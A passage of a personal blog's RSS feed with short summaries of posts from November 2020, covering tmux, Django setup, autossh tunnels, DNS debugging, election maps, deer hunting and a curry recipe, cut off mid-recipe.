0xb4   |&#xA;|    µ     |   181    |   0xb5   |&#xA;|    ¶     |   182    |   0xb6   |&#xA;|    ·     |   183    |   0xb7   |&#xA;|    ¸     |   184    |   0xb8   |&#xA;|    ¹     |   185    |   0xb9   |&#xA;|    º     |   186    |   0xba   |&#xA;|    »     |   187    |   0xbb   |&#xA;|    ¼     |   188    |   0xbc   |&#xA;|    ½     |   189    |   0xbd   |&#xA;|    ¾     |   190    |   0xbe   |&#xA;|    ¿     |   191    |   0xbf   |&#xA;|    À     |   192    |   0xc0   |&#xA;|    Á     |   193    |   0xc1   |&#xA;|    Â     |   194    |   0xc2   |&#xA;|    Ã     |   195    |   0xc3   |&#xA;|    Ä     |   196    |   0xc4   |&#xA;|    Å     |   197    |   0xc5   |&#xA;|    Æ     |   198    |   0xc6   |&#xA;|    Ç     |   199    |   0xc7   |&#xA;|    È     |   200    |   0xc8   |&#xA;|    É     |   201    |   0xc9   |&#xA;|    Ê     |   202    |   0xca   |&#xA;|    Ë     |   203    |   0xcb   |&#xA;|    Ì     |   204    |   0xcc   |&#xA;|    Í     |   205    |   0xcd   |&#xA;|    Î     |   206    |   0xce   |&#xA;|    Ï     |   207    |   0xcf   |&#xA;|    Ð     |   208    |   0xd0   |&#xA;|    Ñ     |   209    |   0xd1   |&#xA;|    Ò     |   210    |   0xd2   |&#xA;|    Ó     |   211    |   0xd3   |&#xA;|    Ô     |   212    |   0xd4   |&#xA;|    Õ     |   213    |   0xd5   |&#xA;|    Ö     |   214    |   0xd6   |&#xA;|    ×     |   215    |   0xd7   |&#xA;|    Ø     |   216    |   0xd8   |&#xA;|    Ù     |   217    |   0xd9   |&#xA;|    Ú     |   218    |   0xda   |&#xA;|    Û     |   219    |   0xdb   |&#xA;|    Ü     |   220    |   0xdc   |&#xA;|    Ý     |   221    |   0xdd   |&#xA;|    Þ     |   222    |   0xde   |&#xA;|    ß     |   223    |   0xdf   |&#xA;|    à     |   224    |   0xe0   |&#xA;|    á     |   225    |   0xe1   |&#xA;|    â     |   226    |   0xe2   |&#xA;|    ã     |   227    |   0xe3   |&#xA;|    ä     |   228    |   0xe4   |&#xA;|    å     |   229    |   0xe5   |&#xA;|    æ     |   230    |   0xe6   |&#xA;|    ç     |   231    |   0xe7   |&#xA;|    è     |   232    |   0xe8   |&#xA;|    é     |   233    |   0xe9   |&#xA;|    ê     |   234    |   0xea   |&#xA;|    ë     |   235    |   0xeb   |&#xA;|    ì     |   236    |   0xec   |&#xA;|    í     |   237    |   0xed   |&#xA;|    î     |   238    |   0xee   |&#xA;|    ï     |   239    |   0xef   |&#xA;|    ð     |   240    |   0xf0   |&#xA;|    ñ     |   241    |   0xf1   |&#xA;|    ò     |   242    |   0xf2   |&#xA;|    ó     |   243    |   0xf3   |&#xA;|    ô     |   244    |   0xf4   |&#xA;|    õ     |   245    |   0xf5   |&#xA;|    ö     |   246    |   0xf6   |&#xA;|    ÷     |   247    |   0xf7   |&#xA;|    ø     |   248    |   0xf8   |&#xA;|    ù     |   249    |   0xf9   |&#xA;|    ú     |   250    |   0xfa   |&#xA;|    û     |   251    |   0xfb   |&#xA;|    ü     |   252    |   0xfc   |&#xA;|    ý     |   253    |   0xfd   |&#xA;|    þ     |   254    |   0xfe   |&#xA;|    ÿ     |   255    |   0xff   |&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Book notes: Outliers</title>
      <link>https://jasonmurray.org/posts/2020/outliers/</link>
      <pubDate>Sat, 28 Nov 2020 10:52:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/outliers/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;It is a common belief, the most successful people rise to the top because of their own hard work, grit, and determination.   While this is true to a degree, Malcom Gladwell details in his book Outliers, there is much more to their stories then individual determination.  By digging deeper into each success story, patterns of opportunity begin to emerge.  These subtle advantages help to propel the lucky few in ways others, with equivalent ability, are not.  Gladwell discusses in detail on the affects of long hours of practice, family culture, access to resources, and birth year to explain why certain people accomplish great feats while others do not.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Debugging Python code with vscode</title>
      <link>https://jasonmurray.org/posts/2020/debugpythonvscode/</link>
      <pubDate>Fri, 27 Nov 2020 10:30:32 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/debugpythonvscode/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Replace the traditional &lt;code&gt;print(&amp;quot;DEBUG: &amp;quot; + str(variable))&lt;/code&gt; with &lt;code&gt;vscode&lt;/code&gt; breakpoints and variable inspection.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;basic-debugging&#34;&gt;Basic Debugging&lt;/h2&gt;&#xA;&lt;p&gt;Start with a Python script by running it in the built in &lt;a href=&#34;https://jasonmurray.org/posts/2020/vscodeplay/&#34;&gt;terminal&lt;/a&gt; (click the play button in the upper right corner):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-27-10-37-35.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To enable debugging, click the Run and Debug button in the left side bar:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-27-10-43-13.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click &lt;code&gt;Run and Debug&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-27-10-45-35.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Select &lt;code&gt;Python file&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-27-10-46-14.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Set a break point by clicking the space directly to the left of the line number in the Python code.  A small red dot is added at every break point:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Being grateful on Thanksgiving</title>
      <link>https://jasonmurray.org/posts/2020/thanksgiving2020/</link>
      <pubDate>Thu, 26 Nov 2020 14:41:25 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/thanksgiving2020/</guid>
      <description>&lt;p&gt;As we spend time with our family and social distance with our friends this Thanksgiving, take the time to remember what we are thankful for.&lt;/p&gt;&#xA;&lt;p&gt;I am grateful for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My family. They are the reason I get out of bed every day.  I love you all!&lt;/li&gt;&#xA;&lt;li&gt;My wife.  She is the love of my life, companion, and personal life coach.  You helped me become the person I am today, and I thank you for it.&lt;/li&gt;&#xA;&lt;li&gt;My kids.  Curious, empathetic, and intelligent.  You make me proud!&lt;/li&gt;&#xA;&lt;li&gt;My parents.  I would not be here without your guidance, encouragement, and mentoring.  Without you there is no me.&lt;/li&gt;&#xA;&lt;li&gt;My health.  I am grateful for this every day.&lt;/li&gt;&#xA;&lt;li&gt;My job.  Hard work allowed me to do what I love, the pay check allows me to pursue my dreams.&lt;/li&gt;&#xA;&lt;li&gt;My friends.  You helped to shape who I am.  Surround yourself by exceptional people, together we will conquer the world.&lt;/li&gt;&#xA;&lt;li&gt;My house.  I like to be warm and dry.&lt;/li&gt;&#xA;&lt;li&gt;My country.  I am privileged to live in a country where I am free to pursue what makes me happy.&lt;/li&gt;&#xA;&lt;li&gt;Healthcare.  There are very few services more important then good health care.  Thank you to the health care professionals!  Especially, during this COVID19 pandemic!&lt;/li&gt;&#xA;&lt;li&gt;Education.  We owe our teaches a lot of gratitude.  Their 80 hour weeks produce the next generation of leaders.&lt;/li&gt;&#xA;&lt;li&gt;Technology.  I am in awe every day.  From simple machines, to libraries of information in my pocket.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Look for the positive, don&amp;rsquo;t get lost in the negative.  The &lt;a href=&#34;https://www.amazon.com/Enlightenment-Now-Science-Humanism-Progress/dp/0525427570&#34;&gt;world is getting better everyday&lt;/a&gt;.  Find your joy, hug your family, and enjoy life to the fullest.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Microsoft patch Tuesday impact on university network edge links</title>
      <link>https://jasonmurray.org/posts/2020/msupdatenetimpact/</link>
      <pubDate>Wed, 25 Nov 2020 15:09:27 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/msupdatenetimpact/</guid>
      <description>&lt;p&gt;The second Tuesday of every month Microsoft releases patch bundles for its software product line.   Depending on the size of the organization, this may have significant impact on the Internet and networking infrastructure.&lt;/p&gt;&#xA;&lt;p&gt;Washington University in St. Louis has 3 x 10G and 1 x 20G links to the commodity and research Internet through Cogent, Lumen, Spectrum, and Internet2.   In November of 2020, the patch cycle hit the Internet links pretty hard.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Twenty years of history from old drives in the basement</title>
      <link>https://jasonmurray.org/posts/2020/datarecovery/</link>
      <pubDate>Tue, 24 Nov 2020 11:05:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/datarecovery/</guid>
      <description>&lt;p&gt;A &lt;a href=&#34;https://jasonmurray.org/posts/2020/websitereconstruction/&#34;&gt;few days ago&lt;/a&gt; I was looking into using the &lt;a href=&#34;https://archive.org/web/&#34;&gt;WayBack Machine&lt;/a&gt; to retrieve content from my old websites in order to consolidate posts in one location.  However, the WayBack machine was missing content and I had lost track of backups that may contain these old files.&lt;/p&gt;&#xA;&lt;p&gt;I suspected this pile of drives in the basement may have the information I was looking for:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-24-11-09-37.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, I don&amp;rsquo;t have hardware with SCSI, IDE, and SATA interfaces.  Google and Amazon to the rescue, 2 days later this arrived:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Searching websites that don&#39;t have a native search function</title>
      <link>https://jasonmurray.org/posts/2020/sitesearch/</link>
      <pubDate>Mon, 23 Nov 2020 08:30:09 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sitesearch/</guid>
      <description>&lt;p&gt;Statically generated websites, like this one, don&amp;rsquo;t rely on server side processing.   This makes it more difficult to include a native search function.  I know there are tools to enable search, but the entire point of building this site with a static generator is to keep it simple.  I don&amp;rsquo;t want deal with maintaining additional software or building non-native libraries.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, there is an easy alternative.  The big search engines, &lt;a href=&#34;https://support.google.com/websearch/answer/2466433?hl=en&#34;&gt;Google&lt;/a&gt; and &lt;a href=&#34;https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/&#34;&gt;Duck Duck Go&lt;/a&gt; have the &lt;code&gt;site:&lt;/code&gt; search filter.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Reattaching tmux sessions from smaller client</title>
      <link>https://jasonmurray.org/posts/2020/tmuxsmallerclient/</link>
      <pubDate>Sun, 22 Nov 2020 06:48:18 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tmuxsmallerclient/</guid>
      <description>&lt;p&gt;I regularly use &lt;code&gt;mosh&lt;/code&gt; and &lt;code&gt;tmux&lt;/code&gt; on a phone, iPad, and laptop.  Since &lt;code&gt;mosh&lt;/code&gt; does not disconnect sessions, attaching &lt;code&gt;tmux&lt;/code&gt; on both screens at the same time will result in a session on the larger screen that looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-21-20-48-38.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;When reattaching the session on the larger screen, use the &lt;code&gt;-d&lt;/code&gt; option to disconnect all other sessions first:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;tmux attach -d&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-21-20-58-30.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Django Quick Start</title>
      <link>https://jasonmurray.org/posts/2020/djangoqs/</link>
      <pubDate>Sat, 21 Nov 2020 16:56:15 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/djangoqs/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Django is a high-level Python web development framework.  To put it simply, it eliminates the complexity of building a Python enable website.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Create a directory for the Django project:&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Caution&lt;/em&gt;: Don&amp;rsquo;t use &lt;code&gt;django&lt;/code&gt; as the directory name.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir dproject&#xA;cd dproject&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Setup a Python virtual environment:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python -m venv .venv&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Activate virtual env:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;source .venv/bin/activate&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Install Django:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pip install django&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create a new Django project:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;django-admin startproject mysite&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Start development server:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cd mysite&#xA;python manage.py runserver&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Test the development server is operating properly:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using the WayBack Machine to reconstruct my old websites</title>
      <link>https://jasonmurray.org/posts/2020/websitereconstruction/</link>
      <pubDate>Fri, 20 Nov 2020 19:08:10 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/websitereconstruction/</guid>
      <description>&lt;p&gt;The first website I created was hosted at: &lt;code&gt;cris.com/~jemurray&lt;/code&gt;, last archived on Nov 11, 1999.  Unfortunately, there is no saved copies of the content.&lt;/p&gt;&#xA;&lt;p&gt;Shortly after, &lt;code&gt;whois&lt;/code&gt; says I registered my first personal domain &lt;code&gt;zweck.net&lt;/code&gt; in April 2000:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;   Domain Name: ZWECK.NET&#xA;   Updated Date: 2020-03-06T20:32:08Z&#xA;   Creation Date: 2000-04-09T20:29:01Z&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;a href=&#34;https://archive.org/web/&#34;&gt;WayBack Machine&lt;/a&gt; archived many version of my websites starting on &lt;a href=&#34;https://web.archive.org/web/20000818004340/http://www.zweck.net/&#34;&gt;Aug 18, 2000&lt;/a&gt;. Unfortunately, it is not complete.  I am hoping the pile of old hard drives in my basement and &lt;a href=&#34;https://www.amazon.com/Adapter-UNITEK-Universal-External-Support/dp/B01NAUIA6G/ref=mp_s_a_1_4?dchild=1&amp;amp;keywords=Ide+To+Usb+Adapter&amp;amp;qid=1605926920&amp;amp;sr=8-4&#34;&gt;this USB to IDE and SATA adaptor&lt;/a&gt; will find the missing pages (and possibly that bitcoin wallet that still alludes me).&lt;/p&gt;</description>
    </item>
    <item>
      <title>Persistent SSH tunnel with autossh</title>
      <link>https://jasonmurray.org/posts/2020/autossh/</link>
      <pubDate>Thu, 19 Nov 2020 15:51:41 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/autossh/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;To access websites behind an internal network, I proxy web traffic to specific DNS domains over an &lt;code&gt;ssh&lt;/code&gt; connection using the SOCKS protocol.  The SwitchyOmega plugin takes care of site specific proxying and &lt;code&gt;autossh&lt;/code&gt; securely forwards all SOCKS traffic through the &lt;code&gt;ssh&lt;/code&gt; tunnel.&lt;/p&gt;&#xA;&lt;p&gt;To handle network instability, VPN connectivity, and laptop mobility, &lt;code&gt;autossh&lt;/code&gt; automatically restarts the &lt;code&gt;ssh&lt;/code&gt; tunnel during network changes or failures.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;h2 id=&#34;prerequisite&#34;&gt;Prerequisite&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;ssh&lt;/code&gt; &lt;a href=&#34;https://jasonmurray.org/posts/2020/sshkeygen/&#34;&gt;key authentication&lt;/a&gt; must be setup prior to using &lt;code&gt;autossh&lt;/code&gt;.  The &lt;code&gt;ssh&lt;/code&gt; session can not prompt for a password.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Avoid accidental pasting with iTerm2</title>
      <link>https://jasonmurray.org/posts/2020/itermadvpaste/</link>
      <pubDate>Wed, 18 Nov 2020 15:47:44 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/itermadvpaste/</guid>
      <description>&lt;p&gt;iTerm2 has a feature called &amp;ldquo;Advanced Paste&amp;hellip;&amp;rdquo;.  This feature allows the user to review and modify the copy-and-paste buffer before the paste takes place.&lt;/p&gt;&#xA;&lt;p&gt;For example, the command &lt;code&gt;./therightcommand.sh&lt;/code&gt; is entered in one terminal window and needs to be pasted into another.  The text is selected and &lt;code&gt;control+v&lt;/code&gt; is pressed to copy the text.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-18-15-48-07.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then &lt;code&gt;option+command+c&lt;/code&gt; is pressed to enter the &lt;code&gt;Advanced Paste...&lt;/code&gt; mode.   Whoops, &lt;code&gt;ctrl+c&lt;/code&gt; was accidentally pressed above, which is the wrong copy command.  This mistake is easily caught with advanced pasted in iTerm:&lt;/p&gt;</description>
    </item>
    <item>
      <title>MacBook Pro won&#39;t stay in sleep mode when the lid is closed</title>
      <link>https://jasonmurray.org/posts/2020/macsleep/</link>
      <pubDate>Tue, 17 Nov 2020 16:21:03 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/macsleep/</guid>
      <description>&lt;p&gt;My macOS 10.15.x laptop no longer stays &lt;code&gt;sleeping&lt;/code&gt; when I close the lid.  After a few hours in my backpack the laptop will be hot and the battery almost dead.  To remedy the issue, check the following settings.&lt;/p&gt;&#xA;&lt;p&gt;Disable &lt;code&gt;Allow Bluetooth Devices to wake this computer&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-17-16-26-24.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Disable &lt;code&gt;Power Nap&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-17-16-24-32.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>It&#39;s all about you</title>
      <link>https://jasonmurray.org/posts/2020/allaboutme/</link>
      <pubDate>Mon, 16 Nov 2020 08:04:24 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/allaboutme/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;I believe we all need to put a little more emphasis on our neighbor and a little less emphasis on &amp;ldquo;me&amp;rdquo;.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;The 2020 election continues to reaffirm the United States is a divided country.  Three percent separates the Republicans from the Democrats in the presidential election.  Nearly a 50/50 divide of the American people.  What I see coming out of these election cycles, and with politics in general, is the country’s inability to discuss the most important issues in a reasonable forum.  You are either on team A or team B, there is no in-between.  Someone willing to listen or work with the other side is portrayed as weak or a traitor.  This is where I believe we need to put a little more emphasis on our neighbor and a little less emphasis on &amp;ldquo;me&amp;rdquo;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Deer rubs</title>
      <link>https://jasonmurray.org/posts/2020/deerrubs/</link>
      <pubDate>Sun, 15 Nov 2020 16:19:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/deerrubs/</guid>
      <description>&lt;h1 id=&#34;antlers&#34;&gt;Antlers&lt;/h1&gt;&#xA;&lt;p&gt;Why do deer rub the bark off trees?  Before we answer that question, we need a brief introduction to antlers.  Male deer shed and grow a new set of antlers every year.  Each year growing a fresh set typically larger then the previous.  The cycle begins in the late spring.  Throughout the growing stage, the antlers are rich in blood and covered in a hair like material commonly known as velvet.   During this period the antlers are susceptible to damage such as cuts and bruises, similar to their skin.  Late in the summer, the growth cycles stops and the antlers start to mineralize or harden.   The fleshly velvet dries into a fluffy fuzz.  If left alone, this new fuzz would fall off on its own.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Hunting in the rain, or the lack there of...</title>
      <link>https://jasonmurray.org/posts/2020/nohunting2020/</link>
      <pubDate>Sat, 14 Nov 2020 16:19:34 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/nohunting2020/</guid>
      <description>&lt;p&gt;For the first time in over a decade, I did not hunt from a tree stand on the opening day of firearms deer season.  Why, you ask?  Do I have COVID, am I sick, is someone in my family in need of attention?  Nope, it was raining.  The weather does not always cooperate.  It is not uncommon to experience sideways rain, sleet, blizzards, sub-zero temperatures, and even extreme heat.  I have endured my fair share.  Not this year however.&lt;/p&gt;</description>
    </item>
    <item>
      <title>tmux basics</title>
      <link>https://jasonmurray.org/posts/2020/tmuxbasics/</link>
      <pubDate>Fri, 13 Nov 2020 15:48:06 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tmuxbasics/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;tmux is a terminal multiplexer. It lets you switch between several programs in one terminal session, detach them (while everything is still running in the background) and reattach them to a different terminal.  If you use the console command line, especially from remote, this is a must have tool.&lt;/p&gt;&#xA;&lt;p&gt;Start tmux, run a long command, detach and come back days later, it will still be there (this alone is enough reason to use tmux):&lt;/p&gt;</description>
    </item>
    <item>
      <title>Google WiFi drops DNS queries that return a RFC1918 answer</title>
      <link>https://jasonmurray.org/posts/2020/googlewifidnsfailure/</link>
      <pubDate>Thu, 12 Nov 2020 14:30:58 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/googlewifidnsfailure/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Google WiFi routers don&amp;rsquo;t allow DNS queries that return RFC1918 answers in the response:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ dig @192.168.86.1 home-server.jasonmurray.org&#xA;&#xA;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @192.168.86.1 home-server.jasonmurray.org&#xA;; (1 server found)&#xA;;; global options: +cmd&#xA;;; Got answer:&#xA;;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: REFUSED, id: 33369&#xA;;; flags: qr; QUERY: 0, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0&#xA;&#xA;;; Query time: 65 msec&#xA;;; SERVER: 192.168.86.1#53(192.168.86.1)&#xA;;; WHEN: Thu Nov 12 14:43:25 CST 2020&#xA;;; MSG SIZE  rcvd: 12&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These queries are blocked to mitigate potential DNS rebinding attacks.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Install CentOS 8 (latest) with Docker</title>
      <link>https://jasonmurray.org/posts/2020/centosdocker/</link>
      <pubDate>Wed, 11 Nov 2020 16:20:50 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/centosdocker/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;I have a few production RedHat 8 servers, but no lab.  Before implementing a new configuration change on the production servers, validating correctness in the lab is a prudent idea.  In a previous life, I would download the ISO images, install, and test.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-11-16-34-43.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;11 Minutes!  Who has time for that?  Not to mention the 10+ minutes it will take to do the installation.&lt;/p&gt;&#xA;&lt;p&gt;Enter Docker, the virtual machine containerizing system.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Determine the active OpenDNS anycast server</title>
      <link>https://jasonmurray.org/posts/2020/debugopendnsanycast/</link>
      <pubDate>Tue, 10 Nov 2020 15:37:22 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/debugopendnsanycast/</guid>
      <description>&lt;p&gt;In anycast, a single IP address can be configured on many servers.  Anycast is used to deploy highly available and geographically redundant services.  For example, OpenDNS uses an anycast network to deploy DNS servers &lt;a href=&#34;https://www.opendns.com/data-center-locations/&#34;&gt;all over the world&lt;/a&gt;.    Routing &amp;ldquo;tricks&amp;rdquo; takes care of sending traffic to the closest geographic server.&lt;/p&gt;&#xA;&lt;p&gt;If servers are deployed around the world and use the same address, how can we determine which server is processing the requests?  A diagnostic mechanism must be built into the application.   In the case of OpenDNS, a TXT DNS query is made to &lt;code&gt;debug.opendns.com&lt;/code&gt;, which returns the location and various other debugging information.&lt;/p&gt;</description>
    </item>
    <item>
      <title>State vs. county vote</title>
      <link>https://jasonmurray.org/posts/2020/2020electionpeoplevsland/</link>
      <pubDate>Mon, 09 Nov 2020 06:53:28 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/2020electionpeoplevsland/</guid>
      <description>&lt;p&gt;In the United States the &lt;a href=&#34;https://en.wikipedia.org/wiki/United_States_Electoral_College&#34;&gt;electorial college&lt;/a&gt;, not the popular vote, determines which candidate wins the presidential election.  Since 1869 the United States has been a two party system of either Republican (red) or Democrat (blue).  This distinction results in an election map that looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/electionland.png&#34; alt=&#34;Election Land&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the 2020 presidential election popular vote was split almost down the middle (as of November 7, 2020):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Donald Trump: 70,598,535 - 47.7%&lt;/li&gt;&#xA;&lt;li&gt;Joe Biden: 74,857,880 - 50.6%&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I believe maps like the one above, are slightly misleading.  They don&amp;rsquo;t tell the full story of the states voting behavior.  The entire state did not vote for one candidate or the other.  Take Colorado for example, in 2020 the electoral college votes went for a Democrat.  However, drill into the map below and you see almost equal sized dots of red and blue.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Red curry, rice, and vegetables</title>
      <link>https://jasonmurray.org/posts/2020/redcurry/</link>
      <pubDate>Sun, 08 Nov 2020 14:36:53 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/redcurry/</guid>
      <description>&lt;h2 id=&#34;overview&#34;&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;Here is a quick and simple rice, vegetable, and curry recipe.  Most ingredients are easily sourced.  The total cook time is around 15 minutes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;ingredients&#34;&gt;Ingredients&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 cups rice&lt;/li&gt;&#xA;&lt;li&gt;1 bag of frozen mixed vegetables&lt;/li&gt;&#xA;&lt;li&gt;1/2 tablespoon sesame oil&lt;/li&gt;&#xA;&lt;li&gt;1/2 tablespoon olive oil&lt;/li&gt;&#xA;&lt;li&gt;Pinch of salt, more to taste&lt;/li&gt;&#xA;&lt;li&gt;2 cloves garlic, pressed or minced&lt;/li&gt;&#xA;&lt;li&gt;3 tablespoons Thai red curry paste (Thai Kitchen Red Curry Paste)&lt;/li&gt;&#xA;&lt;li&gt;1 can (14 ounces) regular coconut milk&lt;/li&gt;&#xA;&lt;li&gt;1/2 cup water&lt;/li&gt;&#xA;&lt;li&gt;1 1/2 teaspoons sugar&lt;/li&gt;&#xA;&lt;li&gt;1 tablespoon soy sauce&lt;/li&gt;&#xA;&lt;li&gt;2 teaspoons lime juice&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;instructions&#34;&gt;Instructions&lt;/h2&gt;&#xA;&lt;h3 id=&#34;rice&#34;&gt;Rice&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cook rice per directions on package.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;vegetables&#34;&gt;Vegetables&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cook frozen vegetables per directions on package.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;curry&#34;&gt;Curry&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Heat large skillet with 1/2 tbs sesame and 1/2 tbs olive 